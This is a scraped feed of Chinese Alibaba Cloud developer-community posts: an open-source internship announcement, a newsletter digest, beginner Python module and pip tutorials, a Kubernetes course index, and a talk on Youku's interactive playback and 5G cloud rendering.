      2020 年 5 月 25 日,阿里巴巴编程之夏(Alibaba Summer of Code,以下简称 ASoC )第二期正式上线,项目规模再度升级,来自开源社区的 Apache Dubbo、Apache RocketMQ、Dragonfly、Nacos 等明星开源项目多达 20 个;导师阵容配置豪华,来自阿里巴巴集团的技术专家、开源社区核心成员、Apache 孵化器导师等多达 32 位;领域涉及微服务、容器、AI 等多个热点方向,旨在联合开源社区打造诚意满满、公平公正的开源实习平台,以阿里巴巴开源技术力量为“推手”,让中国开源社区和开发者精英受到世界范围内的认可。

      点击了解详情:https://developer.aliyun.com/topic/summerofcode2020

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      开放下载!《ECS运维指南 之 Linux系统诊断》 | 开发者必读(173期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

      每日集成开发者社区精品内容,你身边的技术资讯管家。

      每日干货推荐

      开放下载!《ECS运维指南 之 Linux系统诊断》>>>

      经过深入思考、用心、用技术写作,快速提高Linux运维工程师的工作效率,是云运维工程师不可错过的匠心之作。

      独家下载!《15分钟开发视觉AI应用》>>>

      零门槛搞定人脸识别、口罩识别、图片内容安全应用,教程在手,从入门到精通一站掌握!

      再招5000人!2020阿里云峰会透露了哪些核心信息?(附14个资料下载)>>>

      在 6 月 9 日 2020 阿里云线上峰会上,张建锋表达了哪两个核心观点呢?阿里云再生长三大方向是什么呢?有哪些方案发布?又有哪些重磅技术发布?本文为你细细道来,持续更新中~

      更多精彩文章

      揭秘 SIGCOMM 20‘ 论文:阿里云网络洛神 VTrace 系统>>>

      VTrace 是一个解决云网络持续性丢包问题的自动化诊断系统,核心思想是“任务-匹配-染色-采集-分析”,结合大数据技术,旨在实时快速的自动分析出云网络端到端的流量拓扑路径,并给出准确的问题原因和解决方案,让网络运维不再需要那么“专业”,那么“复杂”。

      一张图讲清楚淘宝直播背后技术( 赠送多媒体前端手册)>>>

      2020年,直播带货火爆全网。想一探淘宝直播背后的前端技术?本文将带你进入淘宝直播前端技术的世界。 对于大多数前端工程师来说,音视频技术是一个比较少涉足的领域,本文涵盖了流媒体技术中的文本、图形、图像、音频和视频多种理论知识,涉及到播放器、web媒体技术、主流框架等介绍,只需要花上一点点时间,你将进入前端多媒体的领域。

      如何画好一张架构图?>>>

      架构图是什么?为什么要画架构图?如何画?有哪些方法?本文从架构的定义说起,分享阿里文娱高级技术专家箫逸关于画架构图多年的经验总结,并对抽象这一概念进行了深入地讨论。较长,同学们可收藏后再看。

      精品公开课

      快速交付云原生应用的 3 种发布策略详解>>>

      交付策略决定交付结果,通常一次交付主要包含网络的变更和服务载体的变更,如何保证决定了交付过程中的可靠性、连续性、稳定性?本次课程将介绍 3 种常用的应用交付策略。

      云原生精彩故事:容器服务还能变成抗疫助学技术实践?容器安全该如何探索?>>>

      本期阿里云内外专家,跟您聊聊云原生那些事儿,业内首个全托管Istio兼容的服务网格产品ASM。疫情下容器安全的探索,如何在96小时完成业务部署。

      【阿里的K8s测试环境开源工具箱】第一期:阿里的测试环境管理实践概述>>>

      本次分享将介绍一种在阿里广泛使用的测试环境管理模式以及它的Kubernetes开源版本,希望对采用云原生技术栈的IT企业和开发者有所启发。


      每日集成开发者社区精品内容,请持续关注开发者必读

      ]]>
      常见系统模块-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      Sys模块的使用

      该模块提供对解释器使用或维护的一些变量的访问,以及与解释器强烈交互的函数。

      sys.exit(code)
      让程序以指定的退出码结束。

      import sys
      
      print('hello world')
      sys.exit()    # 程序退出,和内置函数exit功能一致
      print('呵呵呵呵')

      执行结果:
      image.png

      sys.exit(100) 

      image.png
      sys.path
      模块的查找路径。

      print(sys.path)

      执行结果:
      image.png
      结果是一个列表,表示查找模块的路径。

      sys.stdin
      标准输入。可以通过它来获取用户的输入。

      sys.stdout
      标准输出。可以通过修改它来改变默认输出位置

      sys.stderr
      错误输出。可以通过修改它来改变错误输出的默认位置

      sys.stderr
      
      1 / 0

      执行结果:
      image.png
      sys.stdoutsys.stderr默认都是在控制台。

      sys.argv
      传递给Python脚本的命令行参数列表。

      Math模块

      math模块保存了数学计算相关的方法,可以很方便的实现数学运算。

      math.factorial(6)
      计算阶乘

      import math
      print(math.factorial(6))

      执行结果:
      image.png

      math.floor(12.98)
      向下取整

      import math
      print(math.floor(12.98))

      执行结果:
      image.png

      math.ceil(15.0001)
      向上取整

      import math
      print(math.ceil(15.0001))

      执行结果:
      image.png

      math.pow(2, 10)
      2的10次方,幂运算

      import math
      print(math.pow(2, 10))

      执行结果:
      image.png

      #2 ** 10 / pow(2,10) / math.pow(2,10)
      都可以计算幂运算,但是有一些细微的差别。

      round()
      不是math中的,属于内置函数,实现四舍五入到指定位数。

      math.pi
      π的值,约等于 3.141592653589793

      math.sin(math.pi / 6)
      正弦值,弧度计算,π=180°

      import math
      print(math.sin(math.pi / 6))

      执行结果:
      image.png

      math.cos(math.pi / 3)
      余弦值

      import math
      print(math.cos(math.pi / 3)) 

      执行结果:
      image.png

      math.tan(math.pi / 2)
      正切值

      import math
      print(math.tan(math.pi / 2)) 

      执行结果:
      image.png

      math.fabs(-100)
      取绝对值

      import math
      print(math.fabs(-100))

      执行结果:
      image.png

      random模块

      random 模块主要用于生成随机数或者从一个列表里随机获取数据。

      randint(a,b)
      生成[a,b]的随机整数,等价于randrange(a, b+1)。

      import random
      print(random.randint(2, 9)) 

      执行结果:
      image.png

      random()
      生成 [0,1)的随机浮点数。

      import random
      print(random.random())

      执行结果:
      image.png

      randrange(a, b)
      生成[a,b)的随机整数。

      import random
      print(random.randrange(20, 30)) 

      执行结果:
      image.png

      choice()
      从可迭代对象里随机取出一个元素

      import random
      print(random.choice(['zhangsan', 'lisi', 'jack', 'henry', 'tony'])) 

      执行结果:
      image.png

      sample()
      从可迭代对象里随机取出指定个数的元素

      import random
      print(random.sample(['zhangsan', 'lisi', 'jack', 'henry', 'tony'], 2)) 

      执行结果:
      image.png

      uniform(a,b)
      生成[a,b]的随机浮点数

      import random
      print(random.uniform(20, 30)) 

      执行结果:
      image.png

      Datetime模块

      datetime模块主要用来显示日期时间,这里主要涉及 date 类,用来显示日期; time 类,用来显示时间; datetime 类,用来显示日期时间; timedelta 类用来计算时间。

      import datetime as dt
      print(dt.date(2020, 1, 1)) # 创建一个日期
      print(dt.time(18, 23, 45)) # 创建一个时间
      print(dt.datetime.now()) # 获取当前的日期时间
      print(dt.datetime.now() + dt.timedelta(3)) # 计算三天以后的日期时间

      执行结果:
      image.png
      涉及四个类:date/time/datetime/timedelta。
      我们接触过的类:内置类
      list、tuple、int、str。

      time模块

      除了使用datetime模块里的time类以外,Python还单独提供了另一个time模块,用来操作时间。time模块不仅可以用来显示时间,还可以控制程序,让程序暂停(使用sleep函数)。

      import time
      print(time.time()) # 获取从1970-01-01 00:00:00 UTC 到现在时间的秒数
      print(time.strftime("%Y-%m-%d %H:%M:%S")) # 按照指定格式输出时间
      print(time.asctime()) #Mon Apr 15 20:03:23 2019
      print(time.ctime()) # Mon Apr 15 20:03:23 2019
      print('hello')
      print(time.sleep(10)) # 让线程暂停10秒钟
      print('world')

      执行结果:
      image.png
      ctime()给定一个秒数,生成一个时间。传递一个时间戳。
      asctime()传递的是一个元组。
      image.png

      calendar模块

      calendar模块用来显示一个日历。

      c = calendar.calendar(2019) # 生成2019年的日历,并且以周日为起始日期码
      print(c) #打印2019年日历
      
      calendar.setfirstweekday(calendar.SUNDAY) # 设置每周起始日期码。周一到周日分别对应 0 ~ 6
      
      calendar.firstweekday()# 返回当前每周起始日期的设置。默认情况下,首次载入calendar模块时返回0,即星期一。
      
      print(calendar.isleap(2000)) # True.闰年返回True,否则返回False
      
      count = calendar.leapdays(1996,2010) # 获取1996年到2010年一共有多少个闰年
      print(count)
      
      print(calendar.month(2019, 3)) # 打印2019年3月的日历

      执行结果:
      image.png
      image.png
      image.png
      image.png
      image.png
      image.png

      hashlib模块

      hashlib是一个提供字符加密功能的模块,包含MD5SHA的加密算法,支持md5,sha1, sha224,sha256, sha384, sha512等算法。 该模块用户登录面广泛,文本加密也很见。

      加密方式:单向加密:只有加密的过程,不能解密md5/sha、
      对称加密、非对称加密rsa

      需要将加密的内容转化为二进制

      import hashlib
      
      x = hashlib.md5() # 生成一个md5对象
      x.update('abc'.encode('utf8'))
      print(x.hexdigest())

      执行结果:
      image.png

      import hashlib
      
      h1 = hashlib.sha1('123456'.encode())
      print(h1.hexdigest())
      h2 = hashlib.sha224('123456'.encode())  #  224位 一个十六进制占4位
      print(h2.hexdigest())
      h3 = hashlib.sha256('123456'.encode())
      print(h3.hexdigest())
      h4 = hashlib.sha384('123456'.encode())
      print(h4.hexdigest())

      执行结果:
      image.png

      hmac模块

      HMAC算法也是一种单项加密算法,并且它是基于上面各种哈希算法/散列算法的,只是它可以在运算过程中使用一个密钥来增强安全性。hmac模块实现了HAMC算法,提供了相应的函数和方法,且与hashlib提供的api基本一致。

      hmac加密可以指定密钥

      import hmac
      
      h = hmac.new('h'.encode(),'你好'.encode())
      result = h.hexdigest()
      print(result) # 获取加密后的结果

      执行结果:
      image.png

      copy模块

      copy模块里有copy和deepcopy两个函数,分别用来对数据进行深复制和浅复制。

      import copy
      
      nums = [1, 5, 3, 8, [100, 200, 300, 400], 6, 7]
      nums1 = copy.copy(nums) # 对nums列表进行浅复制
      nums2 = copy.deepcopy(nums) # 对nums列表进行深复制
      
      print(nums1)
      print(nums2)

      执行结果:
      image.png

      uuid模块

      UUID是128位的全局唯一标识符,通常由32字节的字母串表示,它可以保证时间和空间的唯一性,也称为GUID。通过MAC地址、时间戳、命名空间、随机数、伪随机数来保证生产的ID的唯一性。随机生成字符串,可以当成token使用,当成用户账号使用,当成订单号使用。

      方法 作用
      uuid.uuid1() 基于MAC地址,时间戳,随机数来生成唯一的uuid,可以保证全球范围内的唯一性。
      uuid.uuid2() 算法与uuid1相同,不同的是把时间戳的前4位置换为POSIX的UID。不过需要注意的是python中没有基于DCE的算法,所以python的uuid模块中没有uuid2这个方法。
      uuid.uuid3(namespace,name) 通过计算一个命名空间和名字的md5散列列值来给出一个uuid,所以可以保证命名空间中的不同名字具有不同的uuid,但是相同的名字就是相同的uuid了。namespace并不是一个自己手动指定的字符串或其他量,而是在uuid模块中本身给出的一些值。比如uuid.NAMESPACEDNS,uuid.NAMESPACEOID,uuid.NAMESPACE_OID这些值。这些值本身也是UUID对象,根据一定的规则计算得出。
      uuid.uuid4() 通过伪随机数得到uuid,是有一定概率重复的
      uuid.uuid5(namespace,name) 和uuid3基本相同,只不过采用的散列算法是sha1

      一般而言,在对uuid的需求不是很复杂的时候,uuid1或者uuid4方法就已经够用了,使用方法如下:

      import uuid
      
      print(uuid.uuid1()) # 根据时间戳和机器码生成uuid,可以保证全球唯一   32个长度,每一个字符有16个选择,16**32
      
      # 使用命名空间和字符串生成uuid.
      # 注意以下两点:
      # 1. 命名空间不是随意输入的字符串,它也是一个uuid类型的数据
      # 2. 相同的命名空间和相同的字符串,生成的uuid是一样的
      print(uuid.uuid3(uuid.NAMESPACE_DNS, 'hello')) # 生成固定的uuid
      print(uuid.uuid5(uuid.NAMESPACE_OID, 'hello')) # 生成固定的uuid
      
      print(uuid.uuid4()) # 随机生成uuid,可能会有重复

      执行结果:
      image.png

      配套视频

      ]]>
      K8s 资源全汇总 | K8s 大咖带你 31 堂课从零入门 K8s-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 默认文件1587981156953.jpg

      关注“阿里巴巴云原生”公众号,后台回复“入门”,即可下载课程全部 PPT 合集!

      从 2019 年,云原生技术开始大规模普及,以“云”为核心的软件研发思想,正逐步成为所有开发者的默认选项,像 Kubernetes 等云原生技术正在成为技术人员的必修课。这种背景下,“会 Kubernetes”已经远远不够了,“懂 Kubernetes”、“会云原生架构”的重要性正日益凸显出来,这也是为什么大家都要学习和投资云原生技术的重要原因。

      【课程介绍】

      本课程是由 CNCF 官方与阿里巴巴强强联合,共同推出的以“云原生技术体系”为核心、以“技术解读”和“实践落地”并重的系列技术公开课。课程全程免费且无需注册,为您带来:

      • 完善的知识体系,打造属于自己的云原生技能树
      • 理解云原生技术背后的思想与本质
      • 与知识体系相辅相成的动手实践
      • 一线技术团队云原生技术最佳实践

      【讲师阵容】

      来自全球“云原生”技术社区的亲历者和领军人物,如作为 CNCF 全球 TOC 之一的李响及 CNCF 官方大使张磊,齐聚“课堂”为每一位中国开发者讲解和剖析关于“云原生”的方方面面,旨在让广大中国开发者可以近距离聆听世界级技术专家解析云原生技术,让“云原生”技术真正触手可及。

      【资源汇总】

      • 课时1 《Kubernetes 入门必备云原生发展简史》

      图文版课程链接:https://developer.aliyun.com/article/717581
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13076

      • 课时2 《从零开始入门 K8s | 详解 K8s 容器基本概念》

      图文版课程链接:https://developer.aliyun.com/article/718433
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13082

      • 课时3 《从零开始入门 K8s | 阿里技术专家详解 K8s 核心概念》

      图文版课程链接:https://developer.aliyun.com/article/718798
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13078

      • 课时4 《从零入门 K8s | 人人都能看懂 Pod 与容器设计模式》

      图文版课程链接:https://mp.weixin.qq.com/s/OW7zvGhPgGAnBuo4A_SXFw
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13079

      • 课时5 《从零开始入门 K8s | K8s 的应用编排与管理》

      图文版课程链接:https://mp.weixin.qq.com/s/T1l5ebHqo0GUFfbfBnd-tQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13080

      • 课时6 《从零开始入门 K8s | 应用编排与管理》

      图文版课程链接:https://developer.aliyun.com/article/719455
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13081

      • 课时7 《从零开始入门 K8s | 应用编排与管理:Job & DaemonSet》

      图文版课程链接:https://mp.weixin.qq.com/s/XdhdAxaLPg7ZUS5WonXhXw
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13083

      • 课时8 《从零开始入门 K8s | 如何实现应用配置管理?》

      图文版课程链接:https://mp.weixin.qq.com/s/8r-_Ekje__GVHsKLfJ-66A
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13084

      • 课时9 《从零开始入门 K8s | 应用存储和持久化数据卷:核心知识》

      图文版课程链接:https://developer.aliyun.com/article/720251
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13085

      • 课时10 《从零开始入门 K8s | 应用存储和持久化数据卷:存储快照与拓扑调度》

      图文版课程链接:https://mp.weixin.qq.com/s/enoy5KRd2sxpZFZ6f06ZiQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_15457

      • 课时11 《从零开始入门 K8s | 可观测性:你的应用健康吗?》

      图文版课程链接:https://mp.weixin.qq.com/s/L1KT0VISxlGYZXGtLzSwBA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13086

      • 课时12 《从零开始入门 K8s | 可观测性:监控与日志》

      图文版课程链接:https://mp.weixin.qq.com/s/5z4IhCJhCfwbSZne93VEsQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_15541

      • 课时13 《从零开始入门 K8s | Kubernetes 网络概念及策略控制》

      图文版课程链接:https://mp.weixin.qq.com/s/kjOAlKTwaMZzVOiSuJE6fQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13087

      • 课时14 《从零开始入门 | Kubernetes 中的服务发现与负载均衡》

      图文版课程链接:https://mp.weixin.qq.com/s/klc0GYAcTthPdUaF-O7izQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_15658

      • 课时15 《从零开始入门 K8s | 深入剖析 Linux 容器》

      图文版课程链接:https://mp.weixin.qq.com/s/r3BCE46iAMn4gqbY3lS6TA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13088

      • 特别篇 《Helm 从入门到实践 | 从 0 开始制作一个 Helm Charts》

      图文版课程链接:https://mp.weixin.qq.com/s/uWdPB4LvmMmvUX2ioKwbww
      视频版课程链接:https://edu.aliyun.com/lesson_1651_16513

      • 课时16 《从零开始入门 K8s | 手把手带你理解 etcd》

      图文版课程链接:https://mp.weixin.qq.com/s/qjLevhAn43d6jWQR_WTMJw
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13089

      • 课时17 《从零开始入门 K8s | etcd 性能优化实践》

      图文版课程链接:https://mp.weixin.qq.com/s/lD2b-DZyvRJ3qWqmlvHpxg
      视频版课程链接:https://edu.aliyun.com/lesson_1651_16861

      • 课时18 《从零开始入门 K8s | Kubernetes 调度和资源管理》

      图文版课程链接:https://mp.weixin.qq.com/s/yD7vmIq9iCGrwAUKHs9WqA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13090

      • 课时19 《从零开始入门 K8s | 调度器的调度流程和算法介绍》

      图文版课程链接:https://mp.weixin.qq.com/s/1ntzs0__3FnLJRE9MDDCnQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_17018

      • 课时20 《从零开始入门 K8s | GPU 管理和 Device Plugin 工作机制》

      图文版课程链接:https://mp.weixin.qq.com/s/-rUaFgTbI-GI-LmJTkferQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13091

      • 课时21 《从零开始入门 K8s | Kubernetes 存储架构及插件使用》

      图文版课程链接:https://mp.weixin.qq.com/s/QWLGkpqpMdsY1w6npZj-yQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13092

      • 课时22 《从零开始入门 K8s | 有状态应用编排 - StatefulSet》

      图文版课程链接:https://mp.weixin.qq.com/s/oTNv8gop93ljEUGhfKzNrw
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13093

      • 课时23 《从零开始入门 K8s | Kubernetes API 编程范式》

      图文版课程链接:https://mp.weixin.qq.com/s/uBCNTLCllE0tl70oLhLufg
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13094

      • 课时24 《从零开始入门 K8s | Kubernetes API 编程利器:Operator 和 Operator Framework》

      图文版课程链接:https://mp.weixin.qq.com/s/SdWp1A6zDp7inLzG5VSE4Q
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13095

      • 课时25 《从零开始入门 K8s | Kubernetes 网络模型进阶》

      图文版课程链接:https://mp.weixin.qq.com/s/Jm8VynGd506wN5-yiLHzdg
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13096

      • 课时26 《从零开始入门 K8s | 理解 CNI 和 CNI 插件》

      图文版课程链接:https://mp.weixin.qq.com/s/sGTEp9m8PC2zhlEgcnqtZA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13097

      • 课时27 《从零开始入门 K8s | K8s 安全之访问控制》

      图文版课程链接:https://mp.weixin.qq.com/s/nPErpcghHih5-dGPQkStJA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13099

      • 课时28 《从零开始入门 K8s | 理解容器运行时接口 CRI》

      图文版课程链接:https://mp.weixin.qq.com/s/aexS9HmlxCpmY7gn3MIFsA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_17238

      • 课时29 《从零开始入门 K8s | Kata Containers 创始人带你入门安全容器技术》

      图文版课程链接:https://mp.weixin.qq.com/s/w2SkC6TuSBqurvAae0RAUA
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13100

      • 课时30 《从零开始入门 K8s | 理解 RuntimeClass 与使用多容器运行时》

      图文版课程链接:https://mp.weixin.qq.com/s/JQ2NNHmpUrVUqX6BIyqUmQ
      视频版课程链接:https://edu.aliyun.com/lesson_1651_13101

      关注“阿里巴巴云原生”公众号,后台回复“入门”,即可下载课程全部 PPT 合集!

      阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

      ]]>
      进制转换 | 手把手教你入门Python之十七-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      进制

      现代的计算机和依赖计算机的设备里都用到二进制(即0和1)来保存和表示数据,一个二进制表示一个比特 (Bit)。
      在⼆进制的基础上,计算机还支持八进制和十六进制这两种进制。
      除了计算机里的进制以外,我们生活中经常用到的是十进制。
      Python语⾔支持二进制、八进制、十六进制以及十进制的数字表示。

      a = 12 # 默认数字是十进制 print(a + 1)
      b = 0b11101   # 以0b开头的数字是二进制 print(b + 1)
      c = 0o12  # 以 0o 开头的数字是八进制 print(c + 1)
      d = 0x1A  # 以 0x 开头的数字是十六进制 print(d + 1)
      

      image.png
      image.png

      进制转换

      不同进制的数字之间可以通过一定的计算规则相互转换。
      十进制转制为二进制:
      image.png
      image.png

      二进制转制为八进制十六进制以及十进制:
      image.png

      image.png

      ]]>
      使用pip管理第三方包-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《Python入门2020最新大课》,主讲人姜伟。

      pip命令的使用

      在安装Python时,同时还会安装pip软件,它是Python的包管理工具,可以用来查找、下载、安装和卸载Python的第三方资源包。

      配置pip

      可以直接在终端中输入pip命令,如果出错,可能会有两个原因:
      1、 pip安装成功以后没有正确配置
      2、 安装Python时,没有自动安装pip(很少见)

      和运行Python命令一样,如果想要运行 pip 命令同样也需要将pip命令的安装目录添加到环境变量中。
      image.png
      image.png

      安装pip

      如果在Python安装对应的目录中,没有发现pip.exe文件,可能是因为在安装Python时未自动安装pip,建议将Python卸载,然后在重新安装Python时选择Install Now 使用默认方式安装Python。
      image.png

      管理第三方包

      对第三方包的管理主要包含查找、安装和卸载三个部分的操作。

      安装

      使用 pip install <包名> 命令可以安装指定的第三方资源包。

      pip install ipython # 安装ipython包

      使用 install 命令下载第三方资源包时,默认是从 pythonhosted下载,由于各种原因,在国内下载速度相对来说比较慢,在某些时候甚至会出现连接超时的情况,我们可以使用国内镜像来提高下载速度。

      临时修改

      如果只是想临时修改某个第三方资源包的下载地址,在第三方包名后面添加 -i 参数,再指定下载路径即可,格式为pip install <包名> -i <国内镜像路径>

      pip install ipython -i https://pypi.douban.com/simple

      永久修改

      除了临时修改pip的下载源以外,我们还能永久改变pip的默认下载路径。
      在当前用户目录下创建一个pip的文件夹,然后再在文件夹里创建pip.ini文件并输入以下内容:

      [global]
      index-url=https://pypi.douban.com/simple
      [install]
      trusted-host=pypi.douban.com

      常见国内镜像

      卸载

      使⽤用 pip install <包名> 命令可以用来卸载指定的第三方资源包。

      pip uninstall ipython # 卸载ipython包

      查找

      使用pip list 或者 pip freeze 命令可以来管理第三方资源包。这两个命令的功能一致,都是用来显示当前环境里已经安装的包,区别在于pip list 会列出所有的包,包括一些无法uninstall的包;而pip freeze 只会列出我们安装的第三方包。

      总结

      开发中,我们通常会使用很多第三方的资源包,我们在将程序部署到服务器的时候,不仅要把代码上传到服务器,同时还需要把代码里用到的第三方资源包告诉服务器。那么这里就有两个问题:
      1、当我们电脑上运行很多个项目,每个项目使用的第三方资源包又不一致时,怎样将代码和它使用到的第三方资源包放在一起呢?
      答:虚拟环境
      2、怎样将自己代码使用到的第三方资源包告诉给服务器?

      1、 使用 pip freeze > requires.txt 命令,将代码里使用到的第三方资源包以及版本号写入到requirements.txt 文件,在部署时,同时将 requirements.txt 文件上传到服务器。

      pip freeze > file_name 将安装的模块名和版本号重定向输出到指定的文件。

      2、 服务器在拿到代码以后,首先运行 pip install -r requirements.txt 命令,将文件里列出的所有第三方框架先安装到服务器,然后才能运行代码。

      pip install -r file_name 读取文件里的模块名和版本号并安装

      使用pycharm管理第三方包

      除了使用pip 命令管理第三方资源包以外,我们还能使用pycharm来对第三方包进行管理。
      image.png

      配套视频

      ]]>
      结合 5G和边缘计算,优酷如何做云渲染?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者| 阿里文娱高级技术专家 伊耆

      当5G来了,视频还是平面的影像吗,只能静静观看吗?一定不是!现在,你可以像玩游戏一样,参与到视频内容当中,还能体验新的播放形式,比如发AI弹幕、猜剧情、横竖屏随意旋转,立体的观看进球一瞬间,看到屏幕之外的更大画面等等。这背后的技术是如何实现的,未来有哪些新交互方向?

      在GMIC智慧文娱技术专场上,阿里文娱高级技术专家伊耆分享了如何利用终端设备的交互特性,结合内容和算法,所实现的新观影模式的探索。同时结合5G网络和边缘计算所做的云渲染技术预研。主要分为四部分:
      一是视频和游戏的共性和差异,如何看待两者?
      二是视频场景结合内容、算法探索播放新交互模式
      三是结合 5G、边缘计算和立体视觉的云渲染技术
      四是未来的思考和总结

      一、为什么做播放交互探索?视频和游戏的共性和差异

      为什么要做新交互?其实用户在文娱消费体验上,尤其在视觉体验上,主要集中在两个领域,一是视频,一是游戏。我们在思考切入点时,更多是关注两者之间的共性和差异,寻找结合点。
      首先回想一下,你在玩游戏是一种什么样的体验?网上有很多类型的游戏,休闲类、益智类、竞技类等等,我们可以发现游戏的特点是交互性越强,竞技属性越强;交互属性越弱,休闲体验越强。视频的本质相同,在一个纯被动观看的过程中,内容本身会带来感官刺激,但更多体现在休闲上。但随着交互属性的加入,比如当视频引入VR/AR等互动后,其形态也更趋于游戏化,更像是一种休闲类的游戏。也就是视频的“内容属性”与游戏的“交互属性”结合,最终它可能就变成一个像游戏化的视频了,用户会获得比较强的沉浸式的感觉。

      二、视频场景结合内容、算法探索播放新交互模式


      image.png

      参考优酷在互动剧的尝试,我们在播放和交互领域的结合也做了非常多的探索。先看2个视频。视频1是常规的旋转,体验还算顺滑;视频2是加入算法后的策略,在旋转过程中,画面始终是平稳的,甚至用户在横移手机时,可以在屏幕中看到更多的画面,这也是初步尝试。
      以旋转的视频为例,形式上看似简单,但它背后也有很多技术点:
      1、旋转手机时,不丢失画面中心。我们看视频时,视线往往会聚焦在一个中心人物,或是一个场景中心。当手机旋转,自然也不希望丢失视觉的中心点。所以需要一套算法去识别观影中心点。在此基础上,通过服务链路去打通,将算法和视频画面联合下发到端侧,并将数据和画面进行绑定,同时在用户旋转手机时,通过对手势的监测选择对应的画面中心点,并进行画面的放大、缩小或平移。
      2、基于原始的大量数据样本,做算法模型训练,得到对于视频画面区域热度算法的模型。由于视频是一个连续过程,我们需要对镜头的切换做平滑处理,结合算法生成一个原始的算法数据。

      image.png

      3、将算法数据和视频内容做关系绑定,并下发到端侧。这样在端侧就同时具备算法的数据和实际播放的视频数据。在播放进程中,我们需要获取旋转-陀螺仪传感器的输入,也会利用降噪算法过滤躁点,根据用户的旋转角度,结合当前视频画面,将算法数据和画面本身绑定,找到画面中心点,做相应处理,最终渲染到屏幕上。
      以上是大致实现思路,在落地过程中,我们也面临不少挑战,最突出的是算法与传统图像处理算法不同。普通的图像处理多是基于单张图片,而视频本身是多帧的,而且每个视频帧间是连续性的。同时在识别过程中,尤其对于运动场景、切换镜头的场景,普通算法的识别焦点是存在偏差的,甚至识别不到,所以我们需要新的处理。
      image.png

      在算法设计上,采用镜头分割方式,区分不同的场景镜头,然后对于每个镜头,我们认为是画面是连续的。这部分,我们结合现有成熟算法,融入自己的技术探索。
      首先,在看画面时,人眼睛会聚焦在人脸、人体,这些点的区域热度是比较高的,将些场景样本作为模型训练数据,同时视频本身还有部分字幕,也需要去除、识别和检测的处理。综合这一系列的检测内容,最终把一帧帧画面看成一个连续的轨迹,做聚类,形成一个角色或者是一个热度点的轨迹;集合多个镜头,形成一个视频区域热度算法的数据,然后下发到端侧。
      其次,有了算法数据,在端侧更多是如何处理端上传感器,处理算法数据和视频之间的同步问题。
      以上是我们现阶段的尝试,同步也在做其他尝试,在不远的未来也会逐步上线,大家很快就体验到。

      三、基于 5G 的云渲染

      在现有场景上,算法数据是基于原始视频进行识别,由于中间需要预生产过程,这就局限了它更多是在点播场景中。
      如果不做预生产,而在端侧进行,则会产生识别的速度不够,效率底的问题,以及在不一样的交互时,处于实时性的诉求,本身对端侧算力是非常大挑战。结合5G的发展,我们设计出云渲染方案。首先看两个视频:

      视频3在电脑上,可以认为它是一个云端主机,在云端是一个高清画质。而在手机端,用户真正看到画面,只是云端画面的一部分。为什么这样设计?
      视频4是6DoF视频,用户可以通过手势旋转,从各角度看到不一样的视角。
      6DoF视频的本质是,用户看到的某些角度的视频,其实是很多角度拼合的画面,用户在选择某一角度时,我们经过截取,提取其中两个画面,通过算法虚拟生成,一个用户观看角度的这么一个画面,然后下发到端侧。
      6DoF视频的某一帧,真实画面本身是非常大的画面,8k甚至11k。用户端看到是其中一部分,720p或1080p,其对应的VR场景也类似。
      挑战是什么?用户观看VR全景视频时,本质是4k甚至8k视频,但用户在每一个视角上看到的点,可能只有720p甚至更低。想看更高清的画质,就必须提升画面的大小。如果我们希望要看到4k画面,原始画面要达到8k,甚至更高。
      8K画面下发到端侧是无法解决问题的。一是芯片的限制,其次还有电量、能耗等。所以我们将终端计算能力放到一个强算力中心上,将用户终端设备变成三部分:手势输入、屏幕输出,计算单元放到远端计算服务器上,它的算力要数倍甚至是几十倍于端上。

      image.png

      基于分布式的前提,输入、计算和输出的传输过程的耗时变短。考虑到未来5G网络、边缘计算的发展,在边缘节点和终端之间的传输速度,加上边缘计算节点的计算耗时,可能要比你在本机输入到本机芯片计算的耗时还要短。
      所以,我们设计了一套分布式的云端渲染和实时计算方案。一方面解决交互的方式,大计算量的实时的数据场景。另一方面,借鉴在游戏领域(如云游戏)的思路,以下是设计模型:
      image.png

